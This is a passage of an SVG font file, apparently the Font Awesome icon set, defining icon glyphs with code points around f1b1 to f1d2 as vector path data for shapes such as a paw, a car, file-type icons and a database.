d="M780 1064q0 -60 -19 -113.5t-63 -92.5t-105 -39q-76 0 -138 57.5t-92 135.5t-30 151q0 60 19 113.5t63 92.5t105 39q77 0 138.5 -57.5t91.5 -135t30 -151.5zM438 581q0 -80 -42 -139t-119 -59q-76 0 -141.5 55.5t-100.5 133.5t-35 152q0 80 42 139.5t119 59.5
q76 0 141.5 -55.5t100.5 -134t35 -152.5zM832 608q118 0 255 -97.5t229 -237t92 -254.5q0 -46 -17 -76.5t-48.5 -45t-64.5 -20t-76 -5.5q-68 0 -187.5 45t-182.5 45q-66 0 -192.5 -44.5t-200.5 -44.5q-183 0 -183 146q0 86 56 191.5t139.5 192.5t187.5 146t193 59zM1071 819
q-61 0 -105 39t-63 92.5t-19 113.5q0 74 30 151.5t91.5 135t138.5 57.5q61 0 105 -39t63 -92.5t19 -113.5q0 -73 -30 -151t-92 -135.5t-138 -57.5zM1503 923q77 0 119 -59.5t42 -139.5q0 -74 -35 -152t-100.5 -133.5t-141.5 -55.5q-77 0 -119 59t-42 139q0 74 35 152.5
t100.5 134t141.5 55.5z" />
    <glyph glyph-name="_406" unicode="&#xf1b1;" horiz-adv-x="768" 
d="M704 1008q0 -145 -57 -243.5t-152 -135.5l45 -821q2 -26 -16 -45t-44 -19h-192q-26 0 -44 19t-16 45l45 821q-95 37 -152 135.5t-57 243.5q0 128 42.5 249.5t117.5 200t160 78.5t160 -78.5t117.5 -200t42.5 -249.5z" />
    <glyph glyph-name="_407" unicode="&#xf1b2;" horiz-adv-x="1792" 
d="M896 -93l640 349v636l-640 -233v-752zM832 772l698 254l-698 254l-698 -254zM1664 1024v-768q0 -35 -18 -65t-49 -47l-704 -384q-28 -16 -61 -16t-61 16l-704 384q-31 17 -49 47t-18 65v768q0 40 23 73t61 47l704 256q22 8 44 8t44 -8l704 -256q38 -14 61 -47t23 -73z
" />
    <glyph glyph-name="_408" unicode="&#xf1b3;" horiz-adv-x="2304" 
d="M640 -96l384 192v314l-384 -164v-342zM576 358l404 173l-404 173l-404 -173zM1664 -96l384 192v314l-384 -164v-342zM1600 358l404 173l-404 173l-404 -173zM1152 651l384 165v266l-384 -164v-267zM1088 1030l441 189l-441 189l-441 -189zM2176 512v-416q0 -36 -19 -67
t-52 -47l-448 -224q-25 -14 -57 -14t-57 14l-448 224q-4 2 -7 4q-2 -2 -7 -4l-448 -224q-25 -14 -57 -14t-57 14l-448 224q-33 16 -52 47t-19 67v416q0 38 21.5 70t56.5 48l434 186v400q0 38 21.5 70t56.5 48l448 192q23 10 50 10t50 -10l448 -192q35 -16 56.5 -48t21.5 -70
v-400l434 -186q36 -16 57 -48t21 -70z" />
    <glyph glyph-name="_409" unicode="&#xf1b4;" horiz-adv-x="2048" 
d="M1848 1197h-511v-124h511v124zM1596 771q-90 0 -146 -52.5t-62 -142.5h408q-18 195 -200 195zM1612 186q63 0 122 32t76 87h221q-100 -307 -427 -307q-214 0 -340.5 132t-126.5 347q0 208 130.5 345.5t336.5 137.5q138 0 240.5 -68t153 -179t50.5 -248q0 -17 -2 -47h-658
q0 -111 57.5 -171.5t166.5 -60.5zM277 236h296q205 0 205 167q0 180 -199 180h-302v-347zM277 773h281q78 0 123.5 36.5t45.5 113.5q0 144 -190 144h-260v-294zM0 1282h594q87 0 155 -14t126.5 -47.5t90 -96.5t31.5 -154q0 -181 -172 -263q114 -32 172 -115t58 -204
q0 -75 -24.5 -136.5t-66 -103.5t-98.5 -71t-121 -42t-134 -13h-611v1260z" />
    <glyph glyph-name="_410" unicode="&#xf1b5;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM499 1041h-371v-787h382q117 0 197 57.5t80 170.5q0 158 -143 200q107 52 107 164q0 57 -19.5 96.5
t-56.5 60.5t-79 29.5t-97 8.5zM477 723h-176v184h163q119 0 119 -90q0 -94 -106 -94zM486 388h-185v217h189q124 0 124 -113q0 -104 -128 -104zM1136 356q-68 0 -104 38t-36 107h411q1 10 1 30q0 132 -74.5 220.5t-203.5 88.5q-128 0 -210 -86t-82 -216q0 -135 79 -217
t213 -82q205 0 267 191h-138q-11 -34 -47.5 -54t-75.5 -20zM1126 722q113 0 124 -122h-254q4 56 39 89t91 33zM964 988h319v-77h-319v77z" />
    <glyph glyph-name="_411" unicode="&#xf1b6;" horiz-adv-x="1792" 
d="M1582 954q0 -101 -71.5 -172.5t-172.5 -71.5t-172.5 71.5t-71.5 172.5t71.5 172.5t172.5 71.5t172.5 -71.5t71.5 -172.5zM812 212q0 104 -73 177t-177 73q-27 0 -54 -6l104 -42q77 -31 109.5 -106.5t1.5 -151.5q-31 -77 -107 -109t-152 -1q-21 8 -62 24.5t-61 24.5
q32 -60 91 -96.5t130 -36.5q104 0 177 73t73 177zM1642 953q0 126 -89.5 215.5t-215.5 89.5q-127 0 -216.5 -89.5t-89.5 -215.5q0 -127 89.5 -216t216.5 -89q126 0 215.5 89t89.5 216zM1792 953q0 -189 -133.5 -322t-321.5 -133l-437 -319q-12 -129 -109 -218t-229 -89
q-121 0 -214 76t-118 192l-230 92v429l389 -157q79 48 173 48q13 0 35 -2l284 407q2 187 135.5 319t320.5 132q188 0 321.5 -133.5t133.5 -321.5z" />
    <glyph glyph-name="_412" unicode="&#xf1b7;" 
d="M1242 889q0 80 -57 136.5t-137 56.5t-136.5 -57t-56.5 -136q0 -80 56.5 -136.5t136.5 -56.5t137 56.5t57 136.5zM632 301q0 -83 -58 -140.5t-140 -57.5q-56 0 -103 29t-72 77q52 -20 98 -40q60 -24 120 1.5t85 86.5q24 60 -1.5 120t-86.5 84l-82 33q22 5 42 5
q82 0 140 -57.5t58 -140.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v153l172 -69q20 -92 93.5 -152t168.5 -60q104 0 181 70t87 173l345 252q150 0 255.5 105.5t105.5 254.5q0 150 -105.5 255.5t-255.5 105.5
q-148 0 -253 -104.5t-107 -252.5l-225 -322q-9 1 -28 1q-75 0 -137 -37l-297 119v468q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5zM1289 887q0 -100 -71 -170.5t-171 -70.5t-170.5 70.5t-70.5 170.5t70.5 171t170.5 71q101 0 171.5 -70.5t70.5 -171.5z
" />
    <glyph glyph-name="_413" unicode="&#xf1b8;" horiz-adv-x="1792" 
d="M836 367l-15 -368l-2 -22l-420 29q-36 3 -67 31.5t-47 65.5q-11 27 -14.5 55t4 65t12 55t21.5 64t19 53q78 -12 509 -28zM449 953l180 -379l-147 92q-63 -72 -111.5 -144.5t-72.5 -125t-39.5 -94.5t-18.5 -63l-4 -21l-190 357q-17 26 -18 56t6 47l8 18q35 63 114 188
l-140 86zM1680 436l-188 -359q-12 -29 -36.5 -46.5t-43.5 -20.5l-18 -4q-71 -7 -219 -12l8 -164l-230 367l211 362l7 -173q170 -16 283 -5t170 33zM895 1360q-47 -63 -265 -435l-317 187l-19 12l225 356q20 31 60 45t80 10q24 -2 48.5 -12t42 -21t41.5 -33t36 -34.5
t36 -39.5t32 -35zM1550 1053l212 -363q18 -37 12.5 -76t-27.5 -74q-13 -20 -33 -37t-38 -28t-48.5 -22t-47 -16t-51.5 -14t-46 -12q-34 72 -265 436l313 195zM1407 1279l142 83l-220 -373l-419 20l151 86q-34 89 -75 166t-75.5 123.5t-64.5 80t-47 46.5l-17 13l405 -1
q31 3 58 -10.5t39 -28.5l11 -15q39 -61 112 -190z" />
    <glyph glyph-name="_414" unicode="&#xf1b9;" horiz-adv-x="2048" 
d="M480 448q0 66 -47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47t113 47t47 113zM516 768h1016l-89 357q-2 8 -14 17.5t-21 9.5h-768q-9 0 -21 -9.5t-14 -17.5zM1888 448q0 66 -47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47t113 47t47 113zM2048 544v-384
q0 -14 -9 -23t-23 -9h-96v-128q0 -80 -56 -136t-136 -56t-136 56t-56 136v128h-1024v-128q0 -80 -56 -136t-136 -56t-136 56t-56 136v128h-96q-14 0 -23 9t-9 23v384q0 93 65.5 158.5t158.5 65.5h28l105 419q23 94 104 157.5t179 63.5h768q98 0 179 -63.5t104 -157.5
l105 -419h28q93 0 158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="_415" unicode="&#xf1ba;" horiz-adv-x="2048" 
d="M1824 640q93 0 158.5 -65.5t65.5 -158.5v-384q0 -14 -9 -23t-23 -9h-96v-64q0 -80 -56 -136t-136 -56t-136 56t-56 136v64h-1024v-64q0 -80 -56 -136t-136 -56t-136 56t-56 136v64h-96q-14 0 -23 9t-9 23v384q0 93 65.5 158.5t158.5 65.5h28l105 419q23 94 104 157.5
t179 63.5h128v224q0 14 9 23t23 9h448q14 0 23 -9t9 -23v-224h128q98 0 179 -63.5t104 -157.5l105 -419h28zM320 160q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47zM516 640h1016l-89 357q-2 8 -14 17.5t-21 9.5h-768q-9 0 -21 -9.5t-14 -17.5z
M1728 160q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47z" />
    <glyph glyph-name="_416" unicode="&#xf1bb;" 
d="M1504 64q0 -26 -19 -45t-45 -19h-462q1 -17 6 -87.5t5 -108.5q0 -25 -18 -42.5t-43 -17.5h-320q-25 0 -43 17.5t-18 42.5q0 38 5 108.5t6 87.5h-462q-26 0 -45 19t-19 45t19 45l402 403h-229q-26 0 -45 19t-19 45t19 45l402 403h-197q-26 0 -45 19t-19 45t19 45l384 384
q19 19 45 19t45 -19l384 -384q19 -19 19 -45t-19 -45t-45 -19h-197l402 -403q19 -19 19 -45t-19 -45t-45 -19h-229l402 -403q19 -19 19 -45z" />
    <glyph glyph-name="_417" unicode="&#xf1bc;" 
d="M1127 326q0 32 -30 51q-193 115 -447 115q-133 0 -287 -34q-42 -9 -42 -52q0 -20 13.5 -34.5t35.5 -14.5q5 0 37 8q132 27 243 27q226 0 397 -103q19 -11 33 -11q19 0 33 13.5t14 34.5zM1223 541q0 40 -35 61q-237 141 -548 141q-153 0 -303 -42q-48 -13 -48 -64
q0 -25 17.5 -42.5t42.5 -17.5q7 0 37 8q122 33 251 33q279 0 488 -124q24 -13 38 -13q25 0 42.5 17.5t17.5 42.5zM1331 789q0 47 -40 70q-126 73 -293 110.5t-343 37.5q-204 0 -364 -47q-23 -7 -38.5 -25.5t-15.5 -48.5q0 -31 20.5 -52t51.5 -21q11 0 40 8q133 37 307 37
q159 0 309.5 -34t253.5 -95q21 -12 40 -12q29 0 50.5 20.5t21.5 51.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_418" unicode="&#xf1bd;" horiz-adv-x="1024" 
d="M1024 1233l-303 -582l24 -31h279v-415h-507l-44 -30l-142 -273l-30 -30h-301v303l303 583l-24 30h-279v415h507l44 30l142 273l30 30h301v-303z" />
    <glyph glyph-name="_419" unicode="&#xf1be;" horiz-adv-x="2304" 
d="M784 164l16 241l-16 523q-1 10 -7.5 17t-16.5 7q-9 0 -16 -7t-7 -17l-14 -523l14 -241q1 -10 7.5 -16.5t15.5 -6.5q22 0 24 23zM1080 193l11 211l-12 586q0 16 -13 24q-8 5 -16 5t-16 -5q-13 -8 -13 -24l-1 -6l-10 -579q0 -1 11 -236v-1q0 -10 6 -17q9 -11 23 -11
q11 0 20 9q9 7 9 20zM35 533l20 -128l-20 -126q-2 -9 -9 -9t-9 9l-17 126l17 128q2 9 9 9t9 -9zM121 612l26 -207l-26 -203q-2 -9 -10 -9q-9 0 -9 10l-23 202l23 207q0 9 9 9q8 0 10 -9zM401 159zM213 650l25 -245l-25 -237q0 -11 -11 -11q-10 0 -12 11l-21 237l21 245
q2 12 12 12q11 0 11 -12zM307 657l23 -252l-23 -244q-2 -13 -14 -13q-13 0 -13 13l-21 244l21 252q0 13 13 13q12 0 14 -13zM401 639l21 -234l-21 -246q-2 -16 -16 -16q-6 0 -10.5 4.5t-4.5 11.5l-20 246l20 234q0 6 4.5 10.5t10.5 4.5q14 0 16 -15zM784 164zM495 785
l21 -380l-21 -246q0 -7 -5 -12.5t-12 -5.5q-16 0 -18 18l-18 246l18 380q2 18 18 18q7 0 12 -5.5t5 -12.5zM589 871l19 -468l-19 -244q0 -8 -5.5 -13.5t-13.5 -5.5q-18 0 -20 19l-16 244l16 468q2 19 20 19q8 0 13.5 -5.5t5.5 -13.5zM687 911l18 -506l-18 -242
q-2 -21 -22 -21q-19 0 -21 21l-16 242l16 506q0 9 6.5 15.5t14.5 6.5q9 0 15 -6.5t7 -15.5zM1079 169v0v0v0zM881 915l15 -510l-15 -239q0 -10 -7.5 -17.5t-17.5 -7.5t-17 7t-8 18l-14 239l14 510q0 11 7.5 18t17.5 7t17.5 -7t7.5 -18zM980 896l14 -492l-14 -236
q0 -11 -8 -19t-19 -8t-19 8t-9 19l-12 236l12 492q1 12 9 20t19 8t18.5 -8t8.5 -20zM1192 404l-14 -231v0q0 -13 -9 -22t-22 -9t-22 9t-10 22l-6 114l-6 117l12 636v3q2 15 12 24q9 7 20 7q8 0 15 -5q14 -8 16 -26zM2304 423q0 -117 -83 -199.5t-200 -82.5h-786
q-13 2 -22 11t-9 22v899q0 23 28 33q85 34 181 34q195 0 338 -131.5t160 -323.5q53 22 110 22q117 0 200 -83t83 -201z" />
    <glyph glyph-name="uniF1C0" unicode="&#xf1c0;" 
d="M768 768q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127t443 -43zM768 0q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127
t443 -43zM768 384q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127t443 -43zM768 1536q208 0 385 -34.5t280 -93.5t103 -128v-128q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5
t-103 128v128q0 69 103 128t280 93.5t385 34.5z" />
    <glyph glyph-name="uniF1C1" unicode="&#xf1c1;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M894 465q33 -26 84 -56q59 7 117 7q147 0 177 -49q16 -22 2 -52q0 -1 -1 -2l-2 -2v-1q-6 -38 -71 -38q-48 0 -115 20t-130 53q-221 -24 -392 -83q-153 -262 -242 -262q-15 0 -28 7l-24 12q-1 1 -6 5q-10 10 -6 36q9 40 56 91.5t132 96.5q14 9 23 -6q2 -2 2 -4q52 85 107 197
q68 136 104 262q-24 82 -30.5 159.5t6.5 127.5q11 40 42 40h21h1q23 0 35 -15q18 -21 9 -68q-2 -6 -4 -8q1 -3 1 -8v-30q-2 -123 -14 -192q55 -164 146 -238zM318 54q52 24 137 158q-51 -40 -87.5 -84t-49.5 -74zM716 974q-15 -42 -2 -132q1 7 7 44q0 3 7 43q1 4 4 8
q-1 1 -1 2q-1 2 -1 3q-1 22 -13 36q0 -1 -1 -2v-2zM592 313q135 54 284 81q-2 1 -13 9.5t-16 13.5q-76 67 -127 176q-27 -86 -83 -197q-30 -56 -45 -83zM1238 329q-24 24 -140 24q76 -28 124 -28q14 0 18 1q0 1 -2 3z" />
    <glyph glyph-name="_422" unicode="&#xf1c2;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M233 768v-107h70l164 -661h159l128 485q7 20 10 46q2 16 2 24h4l3 -24q1 -3 3.5 -20t5.5 -26l128 -485h159l164 661h70v107h-300v-107h90l-99 -438q-5 -20 -7 -46l-2 -21h-4q0 3 -0.5 6.5t-1.5 8t-1 6.5q-1 5 -4 21t-5 25l-144 545h-114l-144 -545q-2 -9 -4.5 -24.5
t-3.5 -21.5l-4 -21h-4l-2 21q-2 26 -7 46l-99 438h90v107h-300z" />
    <glyph glyph-name="_423" unicode="&#xf1c3;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M429 106v-106h281v106h-75l103 161q5 7 10 16.5t7.5 13.5t3.5 4h2q1 -4 5 -10q2 -4 4.5 -7.5t6 -8t6.5 -8.5l107 -161h-76v-106h291v106h-68l-192 273l195 282h67v107h-279v-107h74l-103 -159q-4 -7 -10 -16.5t-9 -13.5l-2 -3h-2q-1 4 -5 10q-6 11 -17 23l-106 159h76v107
h-290v-107h68l189 -272l-194 -283h-68z" />
    <glyph glyph-name="_424" unicode="&#xf1c4;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M416 106v-106h327v106h-93v167h137q76 0 118 15q67 23 106.5 87t39.5 146q0 81 -37 141t-100 87q-48 19 -130 19h-368v-107h92v-555h-92zM769 386h-119v268h120q52 0 83 -18q56 -33 56 -115q0 -89 -62 -120q-31 -15 -78 -15z" />
    <glyph glyph-name="_425" unicode="&#xf1c5;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M1280 320v-320h-1024v192l192 192l128 -128l384 384zM448 512q-80 0 -136 56t-56 136t56 136t136 56t136 -56t56 -136t-56 -136t-136 -56z" />
    <glyph glyph-name="_426" unicode="&#xf1c6;" 
d="M640 1152v128h-128v-128h128zM768 1024v128h-128v-128h128zM640 896v128h-128v-128h128zM768 768v128h-128v-128h128zM1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400
v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-128v-128h-128v128h-512v-1536h1280zM781 593l107 -349q8 -27 8 -52q0 -83 -72.5 -137.5t-183.5 -54.5t-183.5 54.5t-72.5 137.5q0 25 8 52q21 63 120 396v128h128v-128h79
q22 0 39 -13t23 -34zM640 128q53 0 90.5 19t37.5 45t-37.5 45t-90.5 19t-90.5 -19t-37.5 -45t37.5 -45t90.5 -19z" />
    <glyph glyph-name="_427" unicode="&#xf1c7;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M620 686q20 -8 20 -30v-544q0 -22 -20 -30q-8 -2 -12 -2q-12 0 -23 9l-166 167h-131q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h131l166 167q16 15 35 7zM1037 -3q31 0 50 24q129 159 129 363t-129 363q-16 21 -43 24t-47 -14q-21 -17 -23.5 -43.5t14.5 -47.5
q100 -123 100 -282t-100 -282q-17 -21 -14.5 -47.5t23.5 -42.5q18 -15 40 -15zM826 145q27 0 47 20q87 93 87 219t-87 219q-18 19 -45 20t-46 -17t-20 -44.5t18 -46.5q52 -57 52 -131t-52 -131q-19 -20 -18 -46.5t20 -44.5q20 -17 44 -17z" />
    <glyph glyph-name="_428" unicode="&#xf1c8;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M768 768q52 0 90 -38t38 -90v-384q0 -52 -38 -90t-90 -38h-384q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h384zM1260 766q20 -8 20 -30v-576q0 -22 -20 -30q-8 -2 -12 -2q-14 0 -23 9l-265 266v90l265 266q9 9 23 9q4 0 12 -2z" />
    <glyph glyph-name="_429" unicode="&#xf1c9;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M480 768q8 11 21 12.5t24 -6.5l51 -38q11 -8 12.5 -21t-6.5 -24l-182 -243l182 -243q8 -11 6.5 -24t-12.5 -21l-51 -38q-11 -8 -24 -6.5t-21 12.5l-226 301q-14 19 0 38zM1282 467q14 -19 0 -38l-226 -301q-8 -11 -21 -12.5t-24 6.5l-51 38q-11 8 -12.5 21t6.5 24l182 243
l-182 243q-8 11 -6.5 24t12.5 21l51 38q11 8 24 6.5t21 -12.5zM662 6q-13 2 -20.5 13t-5.5 24l138 831q2 13 13 20.5t24 5.5l63 -10q13 -2 20.5 -13t5.5 -24l-138 -831q-2 -13 -13 -20.5t-24 -5.5z" />
    <glyph glyph-name="_430" unicode="&#xf1ca;" 
d="M1497 709v-198q-101 -23 -198 -23q-65 -136 -165.5 -271t-181.5 -215.5t-128 -106.5q-80 -45 -162 3q-28 17 -60.5 43.5t-85 83.5t-102.5 128.5t-107.5 184t-105.5 244t-91.5 314.5t-70.5 390h283q26 -218 70 -398.5t104.5 -317t121.5 -235.5t140 -195q169 169 287 406
q-142 72 -223 220t-81 333q0 192 104 314.5t284 122.5q178 0 273 -105.5t95 -297.5q0 -159 -58 -286q-7 -1 -19.5 -3t-46 -2t-63 6t-62 25.5t-50.5 51.5q31 103 31 184q0 87 -29 132t-79 45q-53 0 -85 -49.5t-32 -140.5q0 -186 105 -293.5t267 -107.5q62 0 121 14z" />
    <glyph glyph-name="_431" unicode="&#xf1cb;" horiz-adv-x="1792" 
d="M216 367l603 -402v359l-334 223zM154 511l193 129l-193 129v-258zM973 -35l603 402l-269 180l-334 -223v-359zM896 458l272 182l-272 182l-272 -182zM485 733l334 223v359l-603 -402zM1445 640l193 -129v258zM1307 733l269 180l-603 402v-359zM1792 913v-546
q0 -41 -34 -64l-819 -546q-21 -13 -43 -13t-43 13l-819 546q-34 23 -34 64v546q0 41 34 64l819 546q21 13 43 13t43 -13l819 -546q34 -23 34 -64z" />
    <glyph glyph-name="_432" unicode="&#xf1cc;" horiz-adv-x="2048" 
d="M1800 764q111 -46 179.5 -145.5t68.5 -221.5q0 -164 -118 -280.5t-285 -116.5q-4 0 -11.5 0.5t-10.5 0.5h-1209h-1h-2h-5q-170 10 -288 125.5t-118 280.5q0 110 55 203t147 147q-12 39 -12 82q0 115 82 196t199 81q95 0 172 -58q75 154 222.5 248t326.5 94
q166 0 306 -80.5t221.5 -218.5t81.5 -301q0 -6 -0.5 -18t-0.5 -18zM468 498q0 -122 84 -193t208 -71q137 0 240 99q-16 20 -47.5 56.5t-43.5 50.5q-67 -65 -144 -65q-55 0 -93.5 33.5t-38.5 87.5q0 53 38.5 87t91.5 34q44 0 84.5 -21t73 -55t65 -75t69 -82t77 -75t97 -55
t121.5 -21q121 0 204.5 71.5t83.5 190.5q0 121 -84 192t-207 71q-143 0 -241 -97l93 -108q66 64 142 64q52 0 92 -33t40 -84q0 -57 -37 -91.5t-94 -34.5q-43 0 -82.5 21t-72 55t-65.5 75t-69.5 82t-77.5 75t-96.5 55t-118.5 21q-122 0 -207 -70.5t-85 -189.5z" />
    <glyph glyph-name="_433" unicode="&#xf1cd;" horiz-adv-x="1792" 
d="M896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM896 1408q-190 0 -361 -90l194 -194q82 28 167 28t167 -28l194 194q-171 90 -361 90zM218 279l194 194
q-28 82 -28 167t28 167l-194 194q-90 -171 -90 -361t90 -361zM896 -128q190 0 361 90l-194 194q-82 -28 -167 -28t-167 28l-194 -194q171 -90 361 -90zM896 256q159 0 271.5 112.5t112.5 271.5t-112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5
t271.5 -112.5zM1380 473l194 -194q90 171 90 361t-90 361l-194 -194q28 -82 28 -167t-28 -167z" />
    <glyph glyph-name="_434" unicode="&#xf1ce;" horiz-adv-x="1792" 
d="M1760 640q0 -176 -68.5 -336t-184 -275.5t-275.5 -184t-336 -68.5t-336 68.5t-275.5 184t-184 275.5t-68.5 336q0 213 97 398.5t265 305.5t374 151v-228q-221 -45 -366.5 -221t-145.5 -406q0 -130 51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5
t136.5 204t51 248.5q0 230 -145.5 406t-366.5 221v228q206 -31 374 -151t265 -305.5t97 -398.5z" />
    <glyph glyph-name="uniF1D0" unicode="&#xf1d0;" horiz-adv-x="1792" 
d="M19 662q8 217 116 406t305 318h5q0 -1 -1 -3q-8 -8 -28 -33.5t-52 -76.5t-60 -110.5t-44.5 -135.5t-14 -150.5t39 -157.5t108.5 -154q50 -50 102 -69.5t90.5 -11.5t69.5 23.5t47 32.5l16 16q39 51 53 116.5t6.5 122.5t-21 107t-26.5 80l-14 29q-10 25 -30.5 49.5t-43 41
t-43.5 29.5t-35 19l-13 6l104 115q39 -17 78 -52t59 -61l19 -27q1 48 -18.5 103.5t-40.5 87.5l-20 31l161 183l160 -181q-33 -46 -52.5 -102.5t-22.5 -90.5l-4 -33q22 37 61.5 72.5t67.5 52.5l28 17l103 -115q-44 -14 -85 -50t-60 -65l-19 -29q-31 -56 -48 -133.5t-7 -170
t57 -156.5q33 -45 77.5 -60.5t85 -5.5t76 26.5t57.5 33.5l21 16q60 53 96.5 115t48.5 121.5t10 121.5t-18 118t-37 107.5t-45.5 93t-45 72t-34.5 47.5l-13 17q-14 13 -7 13l10 -3q40 -29 62.5 -46t62 -50t64 -58t58.5 -65t55.5 -77t45.5 -88t38 -103t23.5 -117t10.5 -136
q3 -259 -108 -465t-312 -321t-456 -115q-185 0 -351 74t-283.5 198t-184 293t-60.5 353z" />
    <glyph glyph-name="uniF1D1" unicode="&#xf1d1;" horiz-adv-x="1792" 
d="M874 -102v-66q-208 6 -385 109.5t-283 275.5l58 34q29 -49 73 -99l65 57q148 -168 368 -212l-17 -86q65 -12 121 -13zM276 428l-83 -28q22 -60 49 -112l-57 -33q-98 180 -98 385t98 385l57 -33q-30 -56 -49 -112l82 -28q-35 -100 -35 -212q0 -109 36 -212zM1528 251
l58 -34q-106 -172 -283 -275.5t-385 -109.5v66q56 1 121 13l-17 86q220 44 368 212l65 -57q44 50 73 99zM1377 805l-233 -80q14 -42 14 -85t-14 -85l232 -80q-31 -92 -98 -169l-185 162q-57 -67 -147 -85l48 -241q-52 -10 -98 -10t-98 10l48 241q-90 18 -147 85l-185 -162
q-67 77 -98 169l232 80q-14 42 -14 85t14 85l-233 80q33 93 99 169l185 -162q59 68 147 86l-48 240q44 10 98 10t98 -10l-48 -240q88 -18 147 -86l185 162q66 -76 99 -169zM874 1448v-66q-65 -2 -121 -13l17 -86q-220 -42 -368 -211l-65 56q-38 -42 -73 -98l-57 33
q106 172 282 275.5t385 109.5zM1705 640q0 -205 -98 -385l-57 33q27 52 49 112l-83 28q36 103 36 212q0 112 -35 212l82 28q-19 56 -49 112l57 33q98 -180 98 -385zM1585 1063l-57 -33q-35 56 -73 98l-65 -56q-148 169 -368 211l17 86q-56 11 -121 13v66q209 -6 385 -109.5
t282 -275.5zM1748 640q0 173 -67.5 331t-181.5 272t-272 181.5t-331 67.5t-331 -67.5t-272 -181.5t-181.5 -272t-67.5 -331t67.5 -331t181.5 -272t272 -181.5t331 -67.5t331 67.5t272 181.5t181.5 272t67.5 331zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71
t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF1D2" unicode="&#xf1d2;" 
